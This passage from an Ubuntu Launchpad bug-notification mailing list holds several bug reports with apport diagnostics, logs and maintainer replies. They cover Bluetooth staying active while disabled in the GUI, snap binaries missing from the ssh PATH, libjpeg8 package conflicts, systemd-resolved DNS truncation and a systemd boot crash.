  this Bluetooth enabled state, the pause/play button still works.  When
  I disable all Bluetooth, the pause/play button still works.

  EDIT2:
  I'm not sure what the gnome-control-center Bluetooth On/Off slider is 
supposed to do, but while gnome-control-center Bluetooth shows disabled the 
service is still running.

  $ service bluetooth status

   bluetooth.service - Bluetooth service
   Loaded: loaded (/lib/systemd/system/bluetooth.service; enabled; vendor 
preset: enabled)
   Active: active (running) since Fri 2020-06-26 10:09:48 PDT; 2 days ago
     Docs: man:bluetoothd(8)
     Main PID: 935 (bluetoothd)
   Status: "Running"
    Tasks: 1 (limit: 38343)
   Memory: 3.0M
   CGroup: /system.slice/bluetooth.service
   └─935 /usr/lib/bluetooth/bluetoothd

  Jun 26 10:09:48 nyuk bluetoothd[935]: Bluetooth daemon 5.53
  Jun 26 10:09:48 nyuk systemd[1]: Started Bluetooth service.
  Jun 26 10:09:48 nyuk bluetoothd[935]: Starting SDP server
  Jun 26 10:09:48 nyuk bluetoothd[935]: Bluetooth management interface 1.14 
initialized
  Jun 26 10:12:17 nyuk bluetoothd[935]: Endpoint registered: sender=:1.94 
path=/MediaEndpoint/A2DPSink/sbc
  Jun 26 10:12:17 nyuk bluetoothd[935]: Endpoint registered: sender=:1.94 
path=/MediaEndpoint/A2DPSource/sbc
  Jun 26 20:55:06 nyuk bluetoothd[935]: 
/org/bluez/hci0/dev_0B_26_75_03_C0_80/sep1/fd0: fd(37) ready
  Jun 26 20:56:12 nyuk bluetoothd[935]: 
/org/bluez/hci0/dev_0B_26_75_03_C0_80/sep1/fd1: fd(37) ready
  Jun 26 21:23:45 nyuk bluetoothd[935]: Failed to set mode: Blocked through 
rfkill (0x12)
  Jun 28 20:58:41 nyuk bluetoothd[935]: Failed to set mode: Blocked through 
rfkill (0x12)

  [0] https://i.imgur.com/e2nM7hA.png

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: bluez 5.53-0ubuntu3
  ProcVersionSignature: Ubuntu 5.4.0-39.43-generic 5.4.41
  Uname: Linux 5.4.0-39-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27.3
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Sun Jun 28 21:11:45 2020
  InstallationDate: Installed on 2020-06-17 (11 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423)
  InterestingModules: rfcomm bnep btusb bluetooth
  Lsusb:
   Bus 002 Device 003: ID 090c:1000 Silicon Motion, Inc. - Taiwan (formerly 
Feiya Technology Corp.) Flash Drive
   Bus 002 Device 002: ID 152d:0567 JMicron Technology Corp. / JMicron USA 
Technology Corp. JMS567 SATA 6Gb/s bridge
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 002: ID 8087:0a2b Intel Corp.
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  ProcEnviron:
   PATH=(custom, no username)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-39-generic 
root=UUID=7d791ec0-a9ea-415e-b7ec-6260b85b55f7 ro quiet splash vt.handoff=7
  SourcePackage: bluez
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 05/27/2016
  dmi.bios.vendor: Intel Corp.
  dmi.bios.version: SYSKLi35.86A.0045.2016.0527.1055
  dmi.board.asset.tag: �=\�
  dmi.board.name: NUC6i5SYB
  dmi.board.vendor: Intel corporation
  dmi.board.version: H81131-504
  dmi.chassis.type: 3
  dmi.modalias: 

[Touch-packages] [Bug 1659719] Re: ssh can't call a binary from a snap without the full path

[Ubuntu Foundations Team Bug Bot]

** Tags added: patch

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pam in Ubuntu.
https://bugs.launchpad.net/bugs/1659719

Title:
  ssh can't call a binary from a snap without the full path

Status in Snappy:
  Fix Committed
Status in livecd-rootfs package in Ubuntu:
  Fix Released
Status in openssh package in Ubuntu:
  Confirmed
Status in pam package in Ubuntu:
  Confirmed
Status in snapd package in Ubuntu:
  Confirmed
Status in livecd-rootfs source package in Groovy:
  Fix Released
Status in openssh source package in Groovy:
  Confirmed
Status in pam source package in Groovy:
  Confirmed
Status in snapd source package in Groovy:
  Confirmed

Bug description:
  ssh can't call a binary from a snap, it will only work using the full
  path.

  Let's say I have the hello snap installed in 192.168.122.24. Then:

  elopio@ubuntu-xenial:~/mosh$ ssh 192.168.122.24 hello
  elopio@192.168.122.24's password:
  bash: hello: command not found
  elopio@ubuntu-xenial:~/mosh$ ssh 192.168.122.24 /snap/bin/hello
  elopio@192.168.122.24's password:
  Hello, world!

To manage notifications about this bug go to:
https://bugs.launchpad.net/snappy/+bug/1659719/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1687024] Re: package libjpeg8 8c-2ubuntu8 failed to install/upgrade: intentando sobreescribir `/usr/lib/x86_64-linux-gnu/libjpeg.so.8', que está también en el paquete libjpeg-tur

[Kai Kasurinen]

DistroRelease: SparkyLinux 4
libjpeg8:amd64 (8d1-2)

Thank you for taking the time to report this bug and trying to help make
Ubuntu better. However, it seems that you are not using a software
package provided by the official Ubuntu repositories. Because of this
the Ubuntu project can not support or fix your particular bug. Please
report this bug to the provider of the software package. Thanks!

If you are interested in learning more about software repositories and
Ubuntu, check https://help.ubuntu.com/community/Repositories.

** Changed in: libjpeg8-empty (Ubuntu)
   Status: Confirmed => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libjpeg8-empty in Ubuntu.
https://bugs.launchpad.net/bugs/1687024

Title:
  package libjpeg8 8c-2ubuntu8 failed to install/upgrade: intentando
  sobreescribir `/usr/lib/x86_64-linux-gnu/libjpeg.so.8', que está
  también en el paquete libjpeg-turbo8:amd64 1.4.2-0ubuntu3

Status in libjpeg8-empty package in Ubuntu:
  Invalid

Bug description:
  When Ubuntu starts shows me this error.

  ProblemType: Package
  DistroRelease: SparkyLinux 4
  Package: libjpeg8 8c-2ubuntu8
  ProcVersionSignature: Ubuntu 4.8.0-49.52~16.04.1-generic 4.8.17
  Uname: Linux 4.8.0-49-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.5
  Architecture: amd64
  Date: Thu Apr 20 15:45:05 2017
  Dependencies:
   gcc-6-base 6.0.1-0ubuntu1 [origin: Ubuntu]
   libc6 2.23-0ubuntu7 [origin: Ubuntu]
   libgcc1 1:6.0.1-0ubuntu1 [origin: Ubuntu]
   libjpeg-turbo8 1.4.2-0ubuntu3 [origin: Ubuntu]
   multiarch-support 2.23-0ubuntu7 [origin: Ubuntu]
  DpkgTerminalLog:
   Preparando para desempaquetar .../libjpeg8_8d1-2_amd64.deb ...
   Desempaquetando libjpeg8:amd64 (8d1-2) sobre (8c-2ubuntu8) ...
   dpkg: error al procesar el archivo 
/var/cache/apt/archives/libjpeg8_8d1-2_amd64.deb (--unpack):
intentando sobreescribir `/usr/lib/x86_64-linux-gnu/libjpeg.so.8', que está 
también en el paquete libjpeg-turbo8:amd64 1.4.2-0ubuntu3
  ErrorMessage: intentando sobreescribir 
`/usr/lib/x86_64-linux-gnu/libjpeg.so.8', que está también en el paquete 
libjpeg-turbo8:amd64 1.4.2-0ubuntu3
  InstallationDate: Installed on 2017-04-02 (25 days ago)
  InstallationMedia: Ubuntu 16.04.2 LTS "Xenial Xerus" - Release amd64 
(20170215.2)
  RelatedPackageVersions:
   dpkg 1.18.4ubuntu1.2
   apt  1.2.20
  SourcePackage: libjpeg8-empty
  Title: package libjpeg8 8c-2ubuntu8 failed to install/upgrade: intentando 
sobreescribir `/usr/lib/x86_64-linux-gnu/libjpeg.so.8', que está también en el 
paquete libjpeg-turbo8:amd64 1.4.2-0ubuntu3
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libjpeg8-empty/+bug/1687024/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1885496] Re: Bluetooth is disabled in gui, but audio reciever's action button still controls Ubuntu

[You-Sheng Yang]

** Tags added: hwe-bluetooth

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to bluez in Ubuntu.
https://bugs.launchpad.net/bugs/1885496

Title:
  Intel Wireless 8260 [8086:24f3] Subsystem [8086:9010] Bluetooth is
  disabled in gui, but audio reciever's action button still controls
  Ubuntu

Status in bluez package in Ubuntu:
  New
Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Current behavior:
  In gnome-control-center I see the Bluetooth slider is set to Off and the 
status shows "Bluetooth Turned Off".

  My Bluetooth audio receiver which had previously been paired can still
  control VLC, or any other compatible media player with a Pause/Play
  button.  If no compatible app is running then an error icon
  appears.[0]

  Expected behavior: when gnome-control-center Bluetooth shows Disabled,
  then no bluetooth device should be able to communicate with the
  computer.

  Security: This is way out of my wheelhouse, but if this goes beyond my
  use case, could this have security implications?  Just the fact that
  the bluetooth subsystem is functional when the UI says it is not,
  seems like a bad sign, correct?

  EDIT:  as a next step, when I enabled Bluetooth in gnome-control-
  center I see the device's status as "Disconnected" and the device does
  not appear as a possible sound output device in Sound settings. In
  this Bluetooth enabled state, the pause/play button still works.  When
  I disable all Bluetooth, the pause/play button still works.

  EDIT2:
  I'm not sure what the gnome-control-center Bluetooth On/Off slider is 
supposed to do, but while gnome-control-center Bluetooth shows disabled the 
service is still running.

  $ service bluetooth status

   bluetooth.service - Bluetooth service
   Loaded: loaded (/lib/systemd/system/bluetooth.service; enabled; vendor 
preset: enabled)
   Active: active (running) since Fri 2020-06-26 10:09:48 PDT; 2 days ago
     Docs: man:bluetoothd(8)
     Main PID: 935 (bluetoothd)
   Status: "Running"
    Tasks: 1 (limit: 38343)
   Memory: 3.0M
   CGroup: /system.slice/bluetooth.service
   └─935 /usr/lib/bluetooth/bluetoothd

  Jun 26 10:09:48 nyuk bluetoothd[935]: Bluetooth daemon 5.53
  Jun 26 10:09:48 nyuk systemd[1]: Started Bluetooth service.
  Jun 26 10:09:48 nyuk bluetoothd[935]: Starting SDP server
  Jun 26 10:09:48 nyuk bluetoothd[935]: Bluetooth management interface 1.14 
initialized
  Jun 26 10:12:17 nyuk bluetoothd[935]: Endpoint registered: sender=:1.94 
path=/MediaEndpoint/A2DPSink/sbc
  Jun 26 10:12:17 nyuk bluetoothd[935]: Endpoint registered: sender=:1.94 
path=/MediaEndpoint/A2DPSource/sbc
  Jun 26 20:55:06 nyuk bluetoothd[935]: 
/org/bluez/hci0/dev_0B_26_75_03_C0_80/sep1/fd0: fd(37) ready
  Jun 26 20:56:12 nyuk bluetoothd[935]: 
/org/bluez/hci0/dev_0B_26_75_03_C0_80/sep1/fd1: fd(37) ready
  Jun 26 21:23:45 nyuk bluetoothd[935]: Failed to set mode: Blocked through 
rfkill (0x12)
  Jun 28 20:58:41 nyuk bluetoothd[935]: Failed to set mode: Blocked through 
rfkill (0x12)

  [0] https://i.imgur.com/e2nM7hA.png

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: bluez 5.53-0ubuntu3
  ProcVersionSignature: Ubuntu 5.4.0-39.43-generic 5.4.41
  Uname: Linux 5.4.0-39-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27.3
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Sun Jun 28 21:11:45 2020
  InstallationDate: Installed on 2020-06-17 (11 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423)
  InterestingModules: rfcomm bnep btusb bluetooth
  Lsusb:
   Bus 002 Device 003: ID 090c:1000 Silicon Motion, Inc. - Taiwan (formerly 
Feiya Technology Corp.) Flash Drive
   Bus 002 Device 002: ID 152d:0567 JMicron Technology Corp. / JMicron USA 
Technology Corp. JMS567 SATA 6Gb/s bridge
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 002: ID 8087:0a2b Intel Corp.
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  ProcEnviron:
   PATH=(custom, no username)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-39-generic 
root=UUID=7d791ec0-a9ea-415e-b7ec-6260b85b55f7 ro quiet splash vt.handoff=7
  SourcePackage: bluez
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 05/27/2016
  dmi.bios.vendor: Intel Corp.
  dmi.bios.version: SYSKLi35.86A.0045.2016.0527.1055
  dmi.board.asset.tag: �=\�
  dmi.board.name: NUC6i5SYB
  dmi.board.vendor: Intel corporation
  dmi.board.version: H81131-504
  dmi.chassis.type: 3
  dmi.modalias: 
dmi:bvnIntelCorp.:bvrSYSKLi35.86A.0045.2016.0527.1055:bd05/27/2016:svn:pn:pvr:rvnIntelcorporation:rnNUC6i5SYB:rvrH81131-504:cvn:ct3:cvr:
  hciconfig:
   hci0:Type: Primary  Bus: USB
    BD Address: 00:C2:C6:F8:FA:D3  ACL MTU: 1021:4  SCO MTU: 96:6
    DOWN
    RX bytes:14600494 acl:95 

[Touch-packages] [Bug 1792734] Re: package libjpeg8 8c-2ubuntu8 failed to install/upgrade: trying to overwrite '/usr/lib/x86_64-linux-gnu/libjpeg.so.8', which is also in package libjpeg-turbo8:amd64 1

[Kai Kasurinen]

libjpeg8:amd64 (8d1-2)

Thank you for taking the time to report this bug and trying to help make
Ubuntu better. However, it seems that you are not using a software
package provided by the official Ubuntu repositories. Because of this
the Ubuntu project can not support or fix your particular bug. Please
report this bug to the provider of the software package. Thanks!

If you are interested in learning more about software repositories and
Ubuntu, check https://help.ubuntu.com/community/Repositories.

** Changed in: libjpeg8-empty (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libjpeg8-empty in Ubuntu.
https://bugs.launchpad.net/bugs/1792734

Title:
  package libjpeg8 8c-2ubuntu8 failed to install/upgrade: trying to
  overwrite '/usr/lib/x86_64-linux-gnu/libjpeg.so.8', which is also in
  package libjpeg-turbo8:amd64 1.5.2-0ubuntu5.18.04.1

Status in libjpeg8-empty package in Ubuntu:
  Invalid

Bug description:
  Couldn't install package: libjpeg8_8d1-2_amd64.deb.

  ProblemType: Package
  DistroRelease: Ubuntu 18.04
  Package: libjpeg8 8c-2ubuntu8
  ProcVersionSignature: Ubuntu 4.15.0-34.37-generic 4.15.18
  Uname: Linux 4.15.0-34-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.2
  AptOrdering:
   libjpeg8:amd64: Install
   NULL: ConfigurePending
  Architecture: amd64
  Date: Sat Sep 15 16:29:10 2018
  Dependencies:
   gcc-8-base 8-20180414-1ubuntu2
   libc6 2.27-3ubuntu1
   libgcc1 1:8-20180414-1ubuntu2
   libjpeg-turbo8 1.5.2-0ubuntu5.18.04.1
   multiarch-support 2.27-3ubuntu1
  DpkgTerminalLog:
   Preparing to unpack .../libjpeg8_8d1-2_amd64.deb ...
   Unpacking libjpeg8:amd64 (8d1-2) over (8c-2ubuntu8) ...
   dpkg: error processing archive /home/meme/Dropbox/kydpdict/deb 
64/libjpeg8_8d1-2_amd64.deb (--unpack):
trying to overwrite '/usr/lib/x86_64-linux-gnu/libjpeg.so.8', which is also 
in package libjpeg-turbo8:amd64 1.5.2-0ubuntu5.18.04.1
  DuplicateSignature:
   package:libjpeg8:8c-2ubuntu8
   Unpacking libjpeg8:amd64 (8d1-2) over (8c-2ubuntu8) ...
   dpkg: error processing archive /home/meme/Dropbox/kydpdict/deb 
64/libjpeg8_8d1-2_amd64.deb (--unpack):
trying to overwrite '/usr/lib/x86_64-linux-gnu/libjpeg.so.8', which is also 
in package libjpeg-turbo8:amd64 1.5.2-0ubuntu5.18.04.1
  ErrorMessage: trying to overwrite '/usr/lib/x86_64-linux-gnu/libjpeg.so.8', 
which is also in package libjpeg-turbo8:amd64 1.5.2-0ubuntu5.18.04.1
  InstallationDate: Installed on 2018-09-13 (2 days ago)
  InstallationMedia: Ubuntu-Budgie 18.04.1 LTS "Bionic Beaver" - Release amd64 
(20180725.1)
  Python3Details: /usr/bin/python3.6, Python 3.6.5, python3-minimal, 
3.6.5-3ubuntu1
  PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal, 
2.7.15~rc1-1
  RelatedPackageVersions:
   dpkg 1.19.0.5ubuntu2
   apt  1.6.3ubuntu0.1
  SourcePackage: libjpeg8-empty
  Title: package libjpeg8 8c-2ubuntu8 failed to install/upgrade: trying to 
overwrite '/usr/lib/x86_64-linux-gnu/libjpeg.so.8', which is also in package 
libjpeg-turbo8:amd64 1.5.2-0ubuntu5.18.04.1
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libjpeg8-empty/+bug/1792734/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1783970] Re: package libjpeg8 8c-2ubuntu8 failed to install/upgrade: trying to overwrite '/usr/lib/x86_64-linux-gnu/libjpeg.so.8', which is also in package libjpeg-turbo8:amd64 1

[Kai Kasurinen]

DistroRelease: Kali 2018.2
libjpeg8:amd64 8d-1+deb7u1

Thank you for taking the time to report this bug and trying to help make
Ubuntu better. However, it seems that you are not using a software
package provided by the official Ubuntu repositories. Because of this
the Ubuntu project can not support or fix your particular bug. Please
report this bug to the provider of the software package. Thanks!

If you are interested in learning more about software repositories and
Ubuntu, check https://help.ubuntu.com/community/Repositories.

** Changed in: libjpeg8-empty (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libjpeg8-empty in Ubuntu.
https://bugs.launchpad.net/bugs/1783970

Title:
  package libjpeg8 8c-2ubuntu8 failed to install/upgrade: trying to
  overwrite '/usr/lib/x86_64-linux-gnu/libjpeg.so.8', which is also in
  package libjpeg-turbo8:amd64 1.4.2-0ubuntu3.1

Status in libjpeg8-empty package in Ubuntu:
  Invalid

Bug description:
  updates not installing

  ProblemType: Package
  DistroRelease: Kali 2018.2
  Package: libjpeg8 8c-2ubuntu8
  ProcVersionSignature: Ubuntu 4.15.0-29.31~16.04.1-generic 4.15.18
  Uname: Linux 4.15.0-29-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.18
  Architecture: amd64
  Date: Fri Jul 27 15:12:09 2018
  Dependencies:
   gcc-6-base 6.0.1-0ubuntu1
   libc6 2.23-0ubuntu10
   libgcc1 1:6.0.1-0ubuntu1
   libjpeg-turbo8 1.4.2-0ubuntu3.1 [origin: Ubuntu]
   multiarch-support 2.23-0ubuntu10
  ErrorMessage: trying to overwrite '/usr/lib/x86_64-linux-gnu/libjpeg.so.8', 
which is also in package libjpeg-turbo8:amd64 1.4.2-0ubuntu3.1
  InstallationDate: Installed on 2018-07-25 (2 days ago)
  InstallationMedia: Ubuntu 16.04.4 LTS "Xenial Xerus" - Release amd64 
(20180228)
  RelatedPackageVersions:
   dpkg 1.19.0.5kali1
   apt  1.2.27
  SourcePackage: libjpeg8-empty
  Title: package libjpeg8 8c-2ubuntu8 failed to install/upgrade: trying to 
overwrite '/usr/lib/x86_64-linux-gnu/libjpeg.so.8', which is also in package 
libjpeg-turbo8:amd64 1.4.2-0ubuntu3.1
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libjpeg8-empty/+bug/1783970/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1886128] [NEW] systemd-resolved does not resolve address due to udp payload size.

[Darii Nurgaleev]

Public bug reported:

Description:Ubuntu 18.04.4 LTS
Release:18.04

systemd-resolve --version

systemd 237
+PAM +AUDIT +SELINUX +IMA +APPARMOR +SMACK +SYSVINIT +UTMP +LIBCRYPTSETUP
+GCRYPT +GNUTLS +ACL +XZ +LZ4 +SECCOMP +BLKID +ELFUTILS +KMOD -IDN2 +IDN
-PCRE2 default-hierarchy=hybrid

We met an error: on an attempt to resolve address, the following issue
appears:

; <<>> DiG 9.11.3-1ubuntu1.11-Ubuntu <<>> 
mharder-formrec.cognitiveservices.azure.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 44096
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
;mharder-formrec.cognitiveservices.azure.com. INA

;; Query time: 231 msec
;; SERVER: 127.0.0.53#53(127.0.0.53)
;; WHEN: Tue Apr 28 20:47:14 UTC 2020
;; MSG SIZE  rcvd: 72

Let me provide you important notes about the issue:
1) It's not reproducing on Ubuntu 16;
2) Bypassing systemd-resolve - everything works fine;
3) Only the difference between systemd-resolve and END is UDP_PAYLOAD_SIZE

Successful query:

113516:27:25.964386 10.1.0.4168.63.129.16   DNS 128
Standard query 0xc2d4 A mharder-formrec.cognitiveservices.azure.com OPT

Domain Name System (query)
Transaction ID: 0xc2d4
Flags: 0x0120 Standard query
0...    = Response: Message is a query
.000 0...   = Opcode: Standard query (0)
 ..0.   = Truncated: Message is not truncated
 ...1   = Recursion desired: Do query recursively
  .0..  = Z: reserved (0)
  ..1.  = AD bit: Set
  ...0  = Non-authenticated data: Unacceptable
Questions: 1
Answer RRs: 0
Authority RRs: 0
Additional RRs: 1
Queries
mharder-formrec.cognitiveservices.azure.com: type A, class IN
Additional records
: type OPT
Name: 
Type: OPT (41)
UDP payload size: 4096
Higher bits in extended RCODE: 0x00
EDNS0 version: 0
Z: 0x
0...    = DO bit: Cannot handle DNSSEC security RRs
.000    = Reserved: 0x
Data length: 12
Option: COOKIE
Unsuccessful query:

112816:27:25.713886 10.1.0.4168.63.129.16   DNS 116
Standard query 0x198d A mharder-formrec.cognitiveservices.azure.com OPT

Domain Name System (query)
Transaction ID: 0x198d
Flags: 0x0100 Standard query
0...    = Response: Message is a query
.000 0...   = Opcode: Standard query (0)
 ..0.   = Truncated: Message is not truncated
 ...1   = Recursion desired: Do query recursively
  .0..  = Z: reserved (0)
  ...0  = Non-authenticated data: Unacceptable
Questions: 1
Answer RRs: 0
Authority RRs: 0
Additional RRs: 1
Queries
mharder-formrec.cognitiveservices.azure.com: type A, class IN
Additional records
: type OPT
Name: 
Type: OPT (41)
UDP payload size: 512
Higher bits in extended RCODE: 0x00
EDNS0 version: 0
Z: 0x
0...    = DO bit: Cannot handle DNSSEC security RRs
.000    = Reserved: 0x
Data length: 0
Notable difference:

Success:
UDP payload size: 4096

Failure:
UDP payload size: 512
And notable differences in the responses:

Success:
Flags: 0x8180 Standard query response, No error
 ..0.   = Truncated: Message is not truncated

Failure:
Flags: 0x8380 Standard query response, No error
 ..1.   = Truncated: Message is truncated

Interestingly, systemd-resolved is setting the maximum payload size to 512 
regardless of whether EDNS0 is configured and regardless of what is sent to it 
for the payload size.
I tried to found a way to change UDP_PAYLOAD_SIZE,but it seems it is only 
possible to change it only with direct code modifications.

** Affects: systemd (Ubuntu)
 Importance: Undecided
 Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1886128

Title:
  systemd-resolved does not resolve address due to udp payload size.

Status in systemd package in Ubuntu:
  New

Bug description:
  Description:  Ubuntu 18.04.4 LTS
  Release:  18.04

  systemd-resolve --version

  systemd 237
  +PAM +AUDIT +SELINUX +IMA +APPARMOR +SMACK +SYSVINIT +UTMP +LIBCRYPTSETUP
  +GCRYPT +GNUTLS +ACL +XZ +LZ4 +SECCOMP +BLKID +ELFUTILS +KMOD -IDN2 +IDN
  -PCRE2 default-hierarchy=hybrid

  We met an error: on an attempt to resolve address, the following issue
  appears:

  ; <<>> DiG 

[Touch-packages] [Bug 1659719] Re: ssh can't call a binary from a snap without the full path

[Michael Hudson-Doyle]

It's easy enough to unconditionally add /snap/bin to path, see attached,
but I can't really see a clean way to only have it present in the $PATH
when snapd is installed (without code changes to pam_env, anyway).

** Patch added: "pam_1.3.1-5ubuntu4_1.3.1-5ubuntu5.patch"
   
https://bugs.launchpad.net/snappy/+bug/1659719/+attachment/5389209/+files/pam_1.3.1-5ubuntu4_1.3.1-5ubuntu5.patch

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pam in Ubuntu.
https://bugs.launchpad.net/bugs/1659719

Title:
  ssh can't call a binary from a snap without the full path

Status in Snappy:
  Fix Committed
Status in livecd-rootfs package in Ubuntu:
  Fix Released
Status in openssh package in Ubuntu:
  Confirmed
Status in pam package in Ubuntu:
  Confirmed
Status in snapd package in Ubuntu:
  Confirmed
Status in livecd-rootfs source package in Groovy:
  Fix Released
Status in openssh source package in Groovy:
  Confirmed
Status in pam source package in Groovy:
  Confirmed
Status in snapd source package in Groovy:
  Confirmed

Bug description:
  ssh can't call a binary from a snap, it will only work using the full
  path.

  Let's say I have the hello snap installed in 192.168.122.24. Then:

  elopio@ubuntu-xenial:~/mosh$ ssh 192.168.122.24 hello
  elopio@192.168.122.24's password:
  bash: hello: command not found
  elopio@ubuntu-xenial:~/mosh$ ssh 192.168.122.24 /snap/bin/hello
  elopio@192.168.122.24's password:
  Hello, world!

To manage notifications about this bug go to:
https://bugs.launchpad.net/snappy/+bug/1659719/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1886115] UdevDb.txt

[guenthert]

apport information

** Attachment added: "UdevDb.txt"
   https://bugs.launchpad.net/bugs/1886115/+attachment/5389206/+files/UdevDb.txt

** Description changed:

After applying updates to Ubuntu 18.04 my desktop (apple mini with
  i5-2415M CPU) failed to complete the boot process.  A few seconds into
  the boot, the last message displayed is "/var mounted".  The system then
  appears to hang indefinitely.
  
Luckily, the 'rescue' boot image allows the boot process to proceed 
sufficiently far to allow a root shell to be spawned.  Unfortunately no log 
files were written during the unsuccessful attempts to boot.  Spawning a 2nd 
root shell (# nohup getty tty5) on a 2nd virtual terminal (tty5) I was able to 
observe the message 'systemd freezing execution' after I closed the first root 
shell and resumed the boot process.  Further a core file was created (belonging 
to /sbin/init) in the root fs
  --8<--
  (gdb) bt
  #0  0x7f16807ba187 in kill () at ../sysdeps/unix/syscall-template.S:78
  #1  0x563b957223b7 in ?? ()
  #2  
  #3  __GI___libc_free (mem=0x4a60d140dfd9a5) at malloc.c:3103
  #4  0x563b9577c22e in ?? ()
  #5  0x563b957672d6 in ?? ()
  #6  0x563b9576ba22 in ?? ()
  #7  0x563b9574f51a in ?? ()
  #8  0x7f16803a509a in ?? () from /lib/systemd/libsystemd-shared-237.so
  #9  0x7f16803a53ea in sd_event_dispatch () from 
/lib/systemd/libsystemd-shared-237.so
  #10 0x7f16803a5579 in sd_event_run () from 
/lib/systemd/libsystemd-shared-237.so
  #11 0x563b9572a49d in ?? ()
  #12 0x563b9571560c in ?? ()
  #13 0x7f168079cb97 in __libc_start_main (main=0x563b957139c0, argc=3, 
argv=0x7ffe78153758, 
  init=, fini=, rtld_fini=, 
  stack_end=0x7ffe78153748) at ../csu/libc-start.c:310
  #14 0x563b957164fa in ?? ()
  (gdb) 
  -->8--
   and the kernel message buffer lists 
  --8<--
  traps: systemd[1] general protection fault ip:7f17ebf6e98d sp:7ffd774d6020 
error:0 in libc-2.27.so[7f17ebed7000+1e7000]
  -->8--
  . 
  
To me that looked a bit like Bug 669702 of Gentoo
  (https://bugs.gentoo.org/669702) and indeed one of the (few) updates
  applied just prior the reboot was the update of libseccomp.
  
I was able to circumvent the problem by disabling (commenting out) the 
syscall filtering requested by systemd (on my system, only 
/etc/systemd/system/dbus-org.freedesktop.resolve1.service needed to be 
modified).
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  CurrentDesktop: MATE
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2019-03-30 (460 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  MachineType: Apple Inc. Macmini5,1
  NonfreeKernelModules: wl
  Package: systemd 237-3ubuntu10.41 [modified: 
lib/systemd/system/systemd-resolved.service]
  PackageArchitecture: amd64
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.3.0-62-generic 
root=UUID=891c2e06-2b40-4e79-a57f-6e550be932bb ro recovery nomodeset
  ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
  Tags:  bionic
  Uname: Linux 5.3.0-62-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dialout dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 01/24/2012
  dmi.bios.vendor: Apple Inc.
